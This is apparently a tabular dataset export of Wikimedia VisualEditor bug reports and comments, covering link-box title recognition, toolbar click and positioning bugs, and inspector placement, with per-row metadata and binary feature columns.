+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50898",High,80.0,1375847280,1377808859.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-kpx3x3zovypfoultwmwq,task_description,resolved,True,c1,3,False,False,True,5,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+243461,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"
+
+*** This bug has been marked as a duplicate of bug 51013 ***",,,1377808859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243457,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"This is because VisualEditor relies on MediaWiki's search system to work out what pages exist, and the search engine ignores short strings as not worth bothering with.
+
+We could theoretically fix this in VisualEditor with a hack, but fixing search would be a better solution.",,,1377808647,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+243453,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,*** Bug 53547 has been marked as a duplicate of this bug. ***,,,1377808418,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243450,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Indeed very, very odd. I've adjusted the bug summary to reflect the discovered behaviour. It is almost certainly unrelated to redirects though.",,,1376142164,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+243446,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:
+
+Another surprising case is ""Cara"" on it.wiki. It exists and it is not a redirect but is not recognized as existent (neither writing ""Cara"" nor ""cara""), and ""CARA"" doesn't exist at all. 
+So I guess this is not (only) related with redirects and it definitely appears also with pages with more than one character.",,,1376106189,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+243441,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Hmm, not necessarily as simple as that as it recognises [[User:ABC]] and [[user:APL]]. It recognises both [[User:BBX]] and [[User:Bbx]] which are different pages and different users (the former Irish the latter a Finland-Swede).
+
+It doesn't recognise [[User:Jim]] but that is a redirect to [[User:Jim (usurped)]].
+
+It does recognise [[User:RVJ]], [[User:ZzZ]] and [[User:PQ3]]. 
+
+I'm stumped!",,,1376075501,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+243436,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"(edit conflict)
+Actually assuming that what happens in the user: namespace matches what happens in the article namespace then it is to do with the presence of a redirect. [[User:Rob]] exists but no pages (redirects or otherwise) exist for other capitalisations of those three letters. [[User:Rob]] does appear in the list of suggestions. Now whether that is this bug or bug 50898 I haven't got a clue, so I'll comment there as well.
+
+(new text)
+So it appears that it might be capitalisation related rather than redirect related - it works with sentence case Rob but not allcaps AB and FRA.",,,1376074801,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+243429,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:
+
+> Hmm, although redirects do exist at Ab and Fra which is probably confusing
+> the
+> issue. I think all TLAs exist as redirects or articles in uppercase and
+> titlecase form so I don't know how to test this.
+
+Also User:AB and User:FRA erroneously appear as non-existing (and user:Ab and User:Fra don't exist).",,,1376074522,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+243424,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"
+
+(In reply to comment #3)
+> What about ""AB"" or ""FRA""? Those are not redirects. Maybe ""single character
+> titles"" is not accurate enough.
+
+Hmm, although redirects do exist at Ab and Fra which is probably confusing the issue. I think all TLAs exist as redirects or articles in uppercase and titlecase form so I don't know how to test this.
+
+(In reply to comment #4)
+> Created attachment 13081 [details]
+> Link dialog doesn't recognise that existence of single-character page names
+
+This shows that it is the page name (excluding namespace) not the full page name (including namespace) that matters as [[User:A]] (which exists) is not recognised.
+
+**Attached**: {F11470}",,,1376074189,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+243420,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Created attachment 13081
+Link dialog doesn't recognise that existence of single-character page names
+
+**Attached**: {F11470}",,,1376073840,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243417,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:
+
+What about ""AB"" or ""FRA""? Those are not redirects. Maybe ""single character titles"" is not accurate enough.",,,1376073813,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0
+243414,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Redirects not showing in the list are due to case sensitivity issues, see bug 50898 
+
+Single character titles are never recognised, whether they are articles (e.g [[A]], [[Ä]]) or redirects, so I'm boldly refocusing this bug solely on this issue.",,,1376073316,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+243410,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:
+
+Maybe writing ""short"" in the title was a mistake (but anyway this bug appears more often with short titles): SEGA, FIDO and GOOGLE also are not recognized as existing pages. However these are all redirects, so perhaps this is another known independent issue?",,,1375847955,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,0,0
+54561,VisualEditor: Dragging mouse clicks VE buttons upon release,"From Cryptic C62:
+
+Load VE on any page. Click and hold the left mouse button anywhere inside the browser window. Move the mouse on top of any button in the VE toolbar. Release the left mouse button. This activates the button.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375737000,1380610142.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-puu746mglczm4q4dlq2x,task_description,resolved,True,c1,3,False,False,False,5,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241301,VisualEditor: Dragging mouse clicks VE buttons upon release,"I cant reproduce any combination supported on Linux, or Firefox/Windows/monobook.",,,1380610142,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241295,VisualEditor: Dragging mouse clicks VE buttons upon release,"Does this still occur for anyone?
+Using the version of VE currently live on en.wp in Firefox 24/monobook/Linux I can't reproduce this at all, not even the way I could in comment 2",,,1380546794,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,13,,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+241290,VisualEditor: Dragging mouse clicks VE buttons upon release,"After clarification I have done more testing and found that I can't reproduce this when any text is selected (including text in a table), but I can if the selection is exclusively an image or template (including an image in table).
+
+Further Cryptic C62 uses Windows Vista not Windows 7.",,,1375794161,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+241286,VisualEditor: Dragging mouse clicks VE buttons upon release,"Cryptic stated in the original bug report ""Some testing shows that this is universal (Firefox/Vector, Opera/Vector, Safari/Monobook)"". From other bug reports of theirs I believe that they run Windows 7.
+
+I have not been able to reproduce this in Firefox 22 on Xubuntu linux using Monobook. The toolbar button depresses as if it were going to apply its function, but nothing actually happens.",,,1375737768,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+54526,VisualEditor: Inspectors should not display below visible page area,"As an editor has pointed out on Mediawiki, the link dialog appears below the selected link.  If an editor has selected text at the bottom of the visible page area, the dialog appears ""below the fold"" and the editor must scroll down to access it.  Dialog should be forced to appear in the area currently visible when it is activated.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1375635660,1411778807.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+239212,VisualEditor: Inspectors should not display below visible page area,"Change 163228 merged by jenkins-bot:
+DesktopContext: Ensure that inspectors/menus are fully visible when created
+
+https://gerrit.wikimedia.org/r/163228",,,1411778780,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+239205,VisualEditor: Inspectors should not display below visible page area,"(This only affects inspectors, and they're a VE feature; moving.)",,,1411777234,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,True,,,64,,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0
+239198,VisualEditor: Inspectors should not display below visible page area,"Change 163280 merged by jenkins-bot:
+PopupWidget: Make $element not be a 0x0 box
+
+https://gerrit.wikimedia.org/r/163280",,,1411771949,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239192,VisualEditor: Inspectors should not display below visible page area,"Change 163280 had a related patch set uploaded by Bartosz Dziewoński:
+PopupWidget: Make $element not be a 0x0 box
+
+https://gerrit.wikimedia.org/r/163280",,,1411766928,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239187,VisualEditor: Inspectors should not display below visible page area,"Change 163228 had a related patch set uploaded by Bartosz Dziewoński:
+[WIP] DesktopContext: Ensure that inspectors/menus are fully visible when created
+
+https://gerrit.wikimedia.org/r/163228",,,1411759324,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+239182,VisualEditor: Inspectors should not display below visible page area,This is fixed for dialogs in gerrit 139550. It's not yet fixed for inspectors (which I suppose should scroll-into-view?).,,,1405377923,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,True,,,54,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+54517,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"At https://en.wikipedia.org/w/index.php?title=Indian_massacre_of_1622&oldid=564508110&veaction=edit, I can not unitalicize 'Nemattanew' (""In the spring of 1622, after a settler murdered his adviser ''[[Nemattanew]]'',"") in Firefox/Iceweasel 21.  It marks it as unitalicized in the toolbar, but if you click away and click back it shows italics again.
+
+I confirmed it wasn't related to my preferences by testing logged out (still in Firefox).  However, it does work fine logged out in Chromium.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=Indian_massacre_of_1622&oldid=564508110&veaction=edit",High,80.0,1375600380,1392860045.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-qi4sreqcffmkf7rnalbq,task_description,resolved,True,c1,3,True,False,False,4,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+238713,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Change 114000 merged by jenkins-bot:
+Fix ce#getOffset when cursor is to the left of an annotation.
+
+https://gerrit.wikimedia.org/r/114000",,,1392856750,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+238705,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Change 114000 had a related patch set uploaded by Esanders:
+Fix ce#getOffset when cursor is to the left of an annotation.
+
+https://gerrit.wikimedia.org/r/114000",,,1392748395,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+238698,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"(In reply to Ed Sanders from comment #3)
+> Can't reproduce in FF 27. Can someone else?
+
+Yes.",,,1392403289,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,32,,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+238692,VisualEditor: Cannot apply annotations to link in specific case in Firefox,Can't reproduce in FF 27. Can someone else?,,,1392390005,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,32,,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+238686,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Confirmed. Very odd. Note that making the selection broader (e.g. a character either side of the link) lets you make it bold/remove italics/etc.
+
+Sorry for very slow triage.",,,1390418119,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,29,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1
+238681,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Note, the way I tried to unitalicize was by double-clicking the name (so it's all highlighted), then clicking the toolbar italics icon (which showed as enabled before I clicked).",,,1375600824,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+54504,VisualEditor: Top bar not staying at top,"It should go without saying, but you can't see it anymore when you scroll down, on occasion :D
+A few unrelated ways to reproduce this:
+
+1) http://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=567022295 here, the removed lines triggered this bug (original reporter experienced this while creating a page with that text). Also, when VEditing the version on the left, an ""up arrow"" before the very first word.
+
+2) http://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=567025383&oldid=567025004 that is, throw some text on an existing link, you'll lose the toolbar as well.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52433
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52441",High,80.0,1375562940,1377563643.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_description,resolved,True,c1,3,False,False,True,4,,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+237954,VisualEditor: Top bar not staying at top,"(In reply to comment #4)
+> I can't reproduce this now, is anyone else still seeing it or can we presume
+> that bug 52441 did fix the issue?
+
+My test file doesn't show the problem any more, certainly: seems to be fixed, thanks.",,,1377557411,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,8,,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,1
+237946,VisualEditor: Top bar not staying at top,"I can't reproduce this now, is anyone else still seeing it or can we presume that bug 52441 did fix the issue?",,,1377527169,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0
